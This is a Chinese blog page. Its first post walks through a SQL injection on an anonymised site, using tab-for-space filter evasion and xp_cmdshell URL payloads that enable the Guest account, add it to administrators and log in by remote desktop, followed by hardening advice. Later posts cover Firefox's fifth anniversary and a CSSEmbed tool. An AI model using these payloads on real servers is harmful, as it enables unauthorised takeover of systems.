無標題文檔

典型的 SQL 注入过程

此漏洞已帮其修复,并知会当事人

SQL 注入 漏洞危害巨大,但 SQL 注入也经常的被发现,少不小心过滤不完全就有可能让整个应用陷入困境。

无意间发现某站点存在 SQL 注入漏洞,于是利用这个漏洞提权并获取服务器控制权。这个案例很典型,像是教科书式的典型入侵步骤,下面就以这个案例展示从 SQL 注入到获取目标服务器控制权限的全过程。

发现

https://friable.rocks/_/2009_11_11/1257999312.gif

访问某站点的搜索页面,发现输入单引号「'」就直接报错,这就说明这个页面存在 注入的可能。为了证实这点,首先闭合请求访问语句,然后对比返回结果的差异。

发现访问

http://foo/rss.aspx?keyword=lucky

以及

http://foo/rss.aspx?keyword=lucky'));--

都可以被执行,但是返回的结果不同。根据下面的错误信息,是注释掉了 ORDER BY 。

分析

根据上面的情况,能非常肯定的断定这个脚本存在很严重的 SQL 注入漏洞。下一步,尝试构建插入 SQL 语句

https://friable.rocks/_/2009_11_11/1257999379.gif

http://foo/rss.aspx?keyword=lucky'));SELECT%20SERVERPROPERTY%20('edition');--

发现服务器的报错信息为 SQL 语句语法错误,SQL 构建不成功。几次尝试注入均不成功,于是休息下先把重点放到服务器本身

https://friable.rocks/_/2009_11_11/1257999485.png

扫描目标主机开放的端口,发现目标主机的 3389 端口是开放的。用远程桌面访问这个端口,可以访问。万事俱备,看来思路还得回到如何利用这个 SQL 注入漏洞。

此时灵光一现,是不是服务器的脚本分割用户输入的空格(%20),然后组成 SQL 语句查询?那么将空格转换成 TAB(%09)试试看,重新发起请求

http://foo/rss.aspx?keyword=lucky'));SELECT%09SERVERPROPERTY%09('edition');--

https://friable.rocks/_/2009_11_11/1257999508.png

并没有报错,说明判断是正确的。接下来的事情就好办了,调用 SQL 外部命令将 Guest 用户解禁并加入管理组。

提权

解禁 Guest 用户

http://foo/rss.aspx?keyword=lucky'));exec%09Master..xp_CMDShell%09'net%09user%09guest%09/active:yes';--

相当于服务器执行

net user guest /active:yes

再将 Guest 加入到管理员组

http://foo/rss.aspx?keyword=lucky'));exec%09Master.xp_CMDShell%09'net%09localgroup%09administrators%09guest%09/add';--

相当于服务器执行

net localgroup administrators guest /add

https://friable.rocks/_/2009_11_11/1257999460.gif

上述请求顺利执行成功,然后打开目标主机的远程登录,输入用户名「guest」密码为空登录,结果顺利登录 (运气和相貌都很重要 :P)。

重新关上 Guest 帐户,并通知主机管理员,至此攻击结束。

后记

正如上文所描述的,SQL 漏洞危害非常的巨大,但我相信国内很多中小站点还普遍存在着这样的漏洞。这里有些个人的不完全建议

  • 代码要对输入的参数做到充分的过滤,并尽可能得考虑极端情况
  • 错误信息尽可能的少,否则无关的人看不懂而有心的人就会提起兴趣
  • 不要以管理员的身份运行服务器进程
  • 某些情况下, net 命令 对于攻击者而言就是「微软牌」的木马
  • 严格控制远程登录访问者的来源
  • 如果可能的情况下,不是很推荐使用 Windows 作为服务器操作系统

-- EOF --

Mozilla Firefox 五周年

https://friable.rocks/_/2009_11_09/1257824740.jpg

五年的时间意味着什么?对于个孩子来说,他或许还在幼儿班;对于款浏览器,它仅用了五年的时间,打破了垄断颠覆了整合互联网,甚至用户使用浏览器的方式。

这就是 Firefox,源自 Mozilla。 这里有份 Firefox 至今的发展时间线 (线上 可以看这里 ),不长的 PPT 足以看出这五年 Firefox 的发展历程:

时间线

1998

  • 1998-03-31 Netscape 组建 Mozilla 项目,并以 Mozilla 的名义发布代码

2002

  • 2002-04-01 新的浏览器代码入库,没错,这就是 Firefox 的前身(那时候还不叫 Firefox)
  • 2002-06-05 Mozilla 1.0 发布
  • 2002-09-12 Spread Firefox 发布
  • 2002-09-23 Phoenix 0.1 发布(Firefox 的前身就是 Phoenix)
  • 2002-12-07 Phoenix 0.5 发布

2003

  • 2003-04-02 浏览器组件从 Mozilla 套装(Mozilla Suite)移至 Phoenix
  • 2003-04-14 Phoenix 更名为 Firebird
  • 2003-07-15 Mozilla 基金会成立

2004

  • 2004-02-09 Firebird 更名为 Firefox,并发布 0.8 版
  • 2004-02-17 Mozilla 欧洲区成立
  • 2004-08-18 Mozilla 日本区成立
  • 2004-12-12 超过一千万次下载
  • 2004-12-15 在「纽约时代」播放宣传广告

2005

  • 2005-02-16 超过两千五百万次下载
  • 2005-03-21 Mozilla 中国区成立
  • 2005-04-29 超过五千万次下载
  • 2005-10-03 Mozilla 研发中心(MDC ) 成立
  • 2005-10-19 超过一亿次下载
  • 2005-11-29 Firefox 1.5 发布
  • 2005-12-02 Firefox Flicks 上线

2006

  • 2006-04-04 addons.mozilla.org 上线
  • 2006-10-24 Firefox 2.0 发布

2007

  • 2007-01-24 Firebug 1.0 发布
  • 2007-07-10 Air Mozilla 发布
  • 2007-09-28 Moziila 支持站点上线

2008

  • 2008-01-21 突破五亿次下载
  • 2008-06-17 Firefox3 发布,破世界记录

2009

  • 2009-06-30 Firefox3.5 发布
  • 2009-06-31 突破十亿次下载
  • 2009-11-09 Firefox 五周年

从上面的时间线中可以看出

  1. Mozilla 的重大产品发布周期基本上都在上半年,集中在四月份
  2. 从 Firefox 的几经改名同时可以看出 Mozilla 对于商标的注重
  3. 04 到 05 年这两年是 Mozilla 着重推广市场的两年,同比业内也是 Ajax 技术逐渐流行而且是前端职位逐渐确立的时期
  4. 从 08 年至今,Firefox 一直致力自身的产品改进以及本地化进程(记得 Firefox 中国版不?)
  5. 线下的推广很重要,尤其调用开发人员这块
  6. 浏览器曾经为 Mozilla 套装的一部分,后来 Mozilla 才改变了开发方向, 所以专注并不是件坏事 :^)
  7. 从 Firefox 下载的趋势上看,基数越大增长的幅度越快,呈非线性增长
  8. 其实我认为可以将与 Google 合作加入到时间线中
  9. 结合上两条,是否可以认为如此快速的下载量也有 Google 的一份?那么 Chrome 是否能重现 Firefox 的辉煌?
  10. 增加条火星 Tips:Firefox 的「官方缩写」为 「Fx」 而不是 「FFvia

感谢

  1. 感谢 Firefox 改变了我的开发方式,使用 Firefox + Firebug 等一系列开发工具,节约了我不少时间
  2. 感谢 Mozilla 提供 MDC 等这些内容丰富的开发文档,是它们让我对于浏览器的细节一目了然
  3. 感谢 Mozilla 以及那些开发人员提供的丰富插件,这使得使用浏览器事半功倍、轻松惬意
  4. 感谢 Firefox 打破垄断,使用户在浏览器方面有了更多更好的选择
  5. 感谢 Mozilla 以及你们所有作出的一切努力
  6. ……

愿望清单

  1. 呃,其实我觉得 Firefox 已经很完美。但如果 Firefox 能够更快、占用更少的系统资源,那就更完美了 :^)

Firefox 五周年,五年的时间不算短,但后面的时间还会更长。希望在接下来的日子里,包括 Firefox 在内的现代浏览器,能够有更出色的发展,给开发者、给用户带去更好的开发平台以及浏览体验。

-- EOF --

CSSEmbed 右键打包工具

在开始之前,如果你还不知道 Data URI 是什么, 秦歌的这篇文章 可以帮上你。Data URI 在淘宝线上已经有了实例应用,更进步信息请查看 云谦的文章

好,回过头来说说 Data URI 「传统的」制作过程。由于 Data URI 需要使用 base64 编码,因此不得不自己写个小工具(熟悉 PHP 的话, 相信你会知道怎么做 ),然后再将编码后的字符加入到 CSS 文件中。

上述的步骤且不说繁琐,而且容易出错。 前几天 NCZ 推出了款名为 CSSEmbed 的自动化工具 。这个工具在上面的场合下可帮上大忙了。它能分析 CSS 文件中的图片地址,获取内容并将它 base64 后填充到对应的位置。

不过总想让工具变得更自动些,套用了下原先玉伯写的脚本,于是就有了下面的右键打包工具。

安装方法

https://friable.rocks/_/2009_11_04/1257322139.png

  1. 从这里下载 CSSEmbed 右键打包工具 ,解压缩
  2. 点击 install.cmd 安装
  3. 然后可以右键点击 sample.css 或者 sample-min.css 测试
  4. 最后生成的 _embed.css 结尾的文件就是我们想要的文件

呃,不好意思,有点罗嗦。

注意事项

  1. CSSEmbed 是用 Java 写的,所以它需要 Java 运行环境
  2. 务必确定 CSS 文件中的图片引用路径为绝对路径( [在命令行中可以使用

我的照片

嗨!我叫「明城」,八零后、码农、宁波佬,现居杭州。除了这里,同时也欢迎您关注我的 GitHubTwitterInstagram 等。

这个 Blog 原先的名字叫 Gracecode.com 、现在叫 「無標題文檔」 。 要知道作为码农取名是件很难的事情,所以不想在取名这事情上太费心思。

作为八零后,自认为还仅存点点可能不怎么被理解的幽默感,以及对平淡生活的追求和向往。 为了避免不必要的麻烦,声明本站所输出的内容以及观点仅代表个人,不代表自己所服务公司或组织的任何立场。

如果您想联系我,可以发我邮件 `echo bWluZ2NoZW5nQG91dGxvb2suY29tCg== | base64 -d`

分类

搜索

文章